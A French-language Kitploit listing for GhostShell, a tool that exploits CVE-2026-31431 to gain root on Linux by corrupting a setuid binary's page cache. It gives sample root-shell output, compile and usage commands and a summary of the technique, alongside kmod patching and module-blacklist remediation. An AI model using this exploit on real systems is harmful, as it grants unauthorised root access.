Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GhostShell — CVE-2026-31431 — Élévation de privilèges locale via la corruption du cache de pages du noyau Linux | Kitploit
Outils/GitHubGitHub/razvanduda/ghostshell
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingExploitation de Binaires
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — Élévation de privilèges locale via la corruption du cache de pages du noyau Linux

Voir le dépôt
6il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GhostShell

CVE-2026-31431 — Élévation de privilèges locale via la corruption du cache de pages du noyau Linux

GhostShell est un outil d'élévation de privilèges locale qui exploite une faille dans l'implémentation crypto AEAD authencesn du noyau Linux pour obtenir un shell root à partir d'un compte utilisateur non privilégié. Il corrompt le cache de pages en mémoire d'un binaire setuid-root (par ex. /usr/bin/su) en y plaçant du shellcode à son point d'entrée, puis l'exécute — obtenant setuid(0) + setgid(0) et lançant un /bin/sh privilégié. Aucun fichier sur disque n'est modifié ; seul le cache de pages en mémoire est affecté.

En bref : vous l'exécutez en tant qu'utilisateur normal, et il vous dépose dans un shell root.

Découvert et divulgué par Theori / Xint. Analyse complète : copy.fail


Exemple de sortie

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Cible :       /usr/bin/su
  Taille :      63576 octets
  Décalage d'entrée : 0x1a50
  Shellcode :   94 octets (24 itérations)

  [*] Vérification de la vulnérabilité du noyau...
  [+] Le noyau EST vulnérable.

  [*] Corruption du cache de pages de /usr/bin/su avec le shellcode...
  [*] Application du correctif au décalage 0x01a50 (24/24) ...

  [*] Vérification de la corruption du cache de pages...
  [+] Shellcode vérifié dans le cache de pages !

  [*] Exécution du binaire setuid corrompu...
  [*] En cas de succès, vous devriez maintenant avoir un shell root.
  [*] Aucune trace sur disque. Seuls des fantômes dans le cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

Noyaux affectés

Linux 4.14 (août 2017) jusqu'aux noyaux corrigés en avril 2026.

Remédiation — Correction de kmod

Le correctif recommandé pour CVE-2026-31431 consiste à corriger le paquet kmod (utilitaires de modules du noyau) qui fournit le module de chiffrement AEAD authencesn vulnérable. Des paquets mis à jour qui désactivent ou corrigent le chemin de déchiffrement en place via splice() ont été publiés par les principaux distributeurs.

Correctif rapide (Debian / Ubuntu)

root@kitploit:~
# Vérifier la version actuelle de kmod
modprobe --version

# Mettre à jour vers la version corrigée
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# Vérifier la mise à jour
modprobe --version

Correctif rapide (RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# Mettre à jour kmod vers la version corrigée
sudo dnf update kmod

# Vérifier
rpm -q kmod

Correctif rapide (Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

Vérifier le correctif du noyau

Après avoir corrigé kmod, confirmez que le module authencesn vulnérable n'est plus chargeable ou a été mis à jour :

root@kitploit:~
# Tenter de charger le module — sur les systèmes corrigés, cela devrait échouer ou signaler une version corrigée
modinfo authencesn

# Alternativement, vérifier que le noyau en cours d'exécution inclut le correctif d'avril 2026
uname -r   # devrait être >= à la version du noyau corrigée pour votre distribution

Solution de contournement (si la correction n'est pas immédiatement possible)

Si vous ne pouvez pas mettre à jour kmod immédiatement, vous pouvez bloquer le chargement du module de chiffrement vulnérable :

root@kitploit:~
# Mettre sur liste noire le module authencesn
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# Mettre également sur liste noire le module générique authenc pour plus de sûreté
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# Le décharger s'il est actuellement chargé (peut échouer s'il est en cours d'utilisation)
sudo modprobe -r authencesn 2>/dev/null

Redémarrez après avoir appliqué le correctif ou la solution de contournement pour garantir que toutes les entrées de cache de pages corrompues sont effacées.


Testé sur

OSNoyau
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ Cet exploit a uniquement été testé sur le système ci-dessus. Les résultats peuvent varier sur d'autres distributions ou versions de noyau.


Prérequis

  • Un noyau Linux vulnérable (voir ci-dessus)
  • GCC (ou tout compilateur C)
  • En-têtes UAPI du noyau Linux (<linux/if_alg.h>) — généralement inclus avec linux-libc-dev
  • Un compte utilisateur non privilégié (aucun root requis pour exécuter l'exploit)

Installer les dépendances de compilation sur Ubuntu/Debian :

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

Compilation

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

Aucune bibliothèque externe requise.


Utilisation

Détection automatique de la cible (vérifie les binaires setuid courants comme su, sudo, passwd) :

root@kitploit:~
./ghostshell

Spécifier une cible manuellement :

root@kitploit:~
./ghostshell /usr/bin/sudo

Si le noyau est vulnérable, vous serez déposé dans un shell root (#).


Comment cela fonctionne (résumé)

  1. Vérification de la vulnérabilité — Crée un fichier temporaire, mute ses 4 premiers octets via la primitive AEAD, le relit pour confirmer que le cache de pages a été modifié.
  2. Sélection de la cible — Détecte automatiquement un binaire setuid-root et analyse l'en-tête ELF64 pour trouver le décalage du point d'entrée _start.
  3. Corruption du cache de pages — Écrit 94 octets de shellcode x86-64 au point d'entrée, 4 octets par appel patch_chunk() (24 itérations), en utilisant la faille de déchiffrement en place via splice() d'AF_ALG.
  4. Exécution — Appelle execl() sur le binaire corrompu. Le noyau le charge depuis le cache de pages et le shellcode s'exécute avec les privilèges setuid-root, lançant un shell root.

Nettoyage

L'exploit corrompt uniquement le cache de pages en mémoire. Un simple redémarrage l'efface entièrement.

Pour vider les caches sans redémarrer :

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

Si des pages sales ont été réécrites sur disque (peu probable mais possible), réinstallez le paquet affecté :

root@kitploit:~
sudo apt-get install --reinstall util-linux   # pour /usr/bin/su

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation.


Licence

Ce projet est sous licence MIT License.

La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, copier, modifier, fusionner, publier, distribuer, sous-licencier et/ou vendre des copies du Logiciel, et de permettre aux personnes auxquelles le Logiciel est fourni de le faire, sous réserve des conditions suivantes :

L'avis de droit d'auteur ci-dessus et cet avis de permission doivent être inclus dans toutes les copies ou parties substantielles du Logiciel.

LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE SERONT RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, HORS DE OU EN RELATION AVEC LE LOGICIEL OU L'UTILISATION OU AUTRES TRANSACTIONS DU LOGICIEL.

Télécharger l’outil